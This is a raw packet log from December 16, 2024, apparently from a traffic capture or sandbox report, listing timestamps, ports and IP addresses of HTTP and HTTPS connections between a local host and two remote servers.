Dec 16, 2024 15:02:36.570939064 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.570959091 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.571006060 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.572047949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.572101116 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.572124004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.572208881 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.572958946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.573087931 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.573132992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.573179007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.574105024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.574171066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.574172974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.574345112 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.575198889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.575212002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.575236082 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.575267076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.575295925 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.575323105 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.576242924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.576323986 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.576328039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.576462984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.577341080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.577451944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.577528000 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.578296900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.578843117 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.578891039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.579440117 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.579596043 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.579643011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.580594063 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.580651045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.580688000 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.580688000 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.581516981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.581634045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.581676960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.582588911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.582705975 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.582820892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.583700895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.583781958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.583970070 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.585047960 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.585155964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.585179090 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.585238934 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.585834980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.585907936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.585911989 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.585985899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.586869955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.586940050 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.587189913 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.587189913 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.588000059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.588054895 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.588192940 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.588254929 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.588267088 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.601860046 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.601914883 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.601923943 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.615453959 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.615516901 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.615529060 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.629014969 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.629218102 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.629225969 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.643210888 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.643265009 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.643271923 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.656402111 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.656460047 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.656491995 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.656501055 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.656536102 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.669836998 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.683540106 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.683623075 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.683638096 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.697755098 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.697832108 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.697844982 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.723891973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.723990917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.724064112 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.724211931 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.724416018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.724508047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.725135088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.725179911 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.725471973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.725594997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.725666046 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.725704908 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.726572037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.726644039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.727618933 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.727632999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.727680922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.727691889 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.727691889 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.727890968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.728665113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.728785038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.728840113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.728895903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.729907990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.729922056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.729969978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.729969978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.730827093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.730928898 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.730940104 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.730990887 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.731892109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.731998920 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.732023001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.732136011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.732973099 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.733077049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.733196974 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.733483076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.734086990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.734101057 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.734129906 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.734210968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.735091925 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.735197067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.735243082 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.735357046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.736195087 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.736267090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.736277103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.736390114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.737273932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.737337112 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.737910032 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.737982035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.738347054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.738532066 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.738681078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.738782883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.739393950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.739415884 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.739458084 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.739458084 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.740647078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.740768909 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.741786003 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.741800070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.741823912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.741872072 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.741872072 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.743110895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.743241072 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.743355036 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.743486881 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.743926048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.743964911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.743999004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.743999004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.744419098 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.744435072 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.744842052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.744918108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.744919062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.744986057 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.746175051 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.746244907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.746352911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.746478081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.747090101 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.747220039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.748070002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.748086929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.748099089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.748173952 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.748173952 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.749069929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.749121904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.750293970 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.750307083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.750401020 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.750411987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.750462055 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.750808954 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.750853062 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.750863075 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.751291037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.751466036 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.751519918 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.751626968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.752520084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.752628088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.752671003 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.752772093 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.753087997 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.753267050 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.753273964 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.753401995 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.753599882 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.754095078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.754137039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.754569054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.754580975 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.754663944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.755609989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.755723953 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.755913973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.755985022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.756633997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.756647110 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.756751060 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.757695913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.757709026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.757849932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.758790016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.758835077 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.758990049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.759181976 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.759906054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.759918928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.759959936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.761004925 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.761115074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.762073994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.762088060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.762145996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.762181044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.762181044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.763046980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.763089895 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.763701916 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.763848066 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.764195919 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.764240026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.764247894 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.764261961 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.764261961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.764285088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.764312029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.765235901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.765304089 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.765362024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.765470982 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.766316891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.766408920 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.766468048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.766556978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.767406940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.767421007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.767463923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773364067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773459911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773472071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773499012 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773499012 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773570061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773614883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773614883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773648024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773660898 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773673058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773727894 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773727894 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773772001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773783922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773796082 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.773808956 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.773828983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.774138927 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.774152040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.774202108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.774998903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.775013924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.775063992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.775068045 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.775110006 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.775120974 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.775919914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.776082039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.776083946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.776201010 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.776994944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.777019024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.777062893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.778084040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.778151035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.778203964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.778203964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.779118061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.779299021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.779299974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.779397964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.780230999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.780309916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.786813021 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.786885023 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.786895037 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.798648119 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.798697948 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.798727036 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.810693026 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.810765982 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.810775042 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.820338011 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.820399046 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.820405006 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.831418037 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.831470013 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.831476927 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.841387987 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.841451883 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.841459036 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.850791931 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.850985050 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.915894032 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.916074991 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.916259050 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.916336060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.916402102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.916551113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.916718006 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.917438030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.918056011 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.918246031 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.918581963 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.918906927 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.919332981 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.919807911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.919847012 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.919923067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.919981956 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.920644045 CET	80	49938	185.215.113.16	192.168.2.6
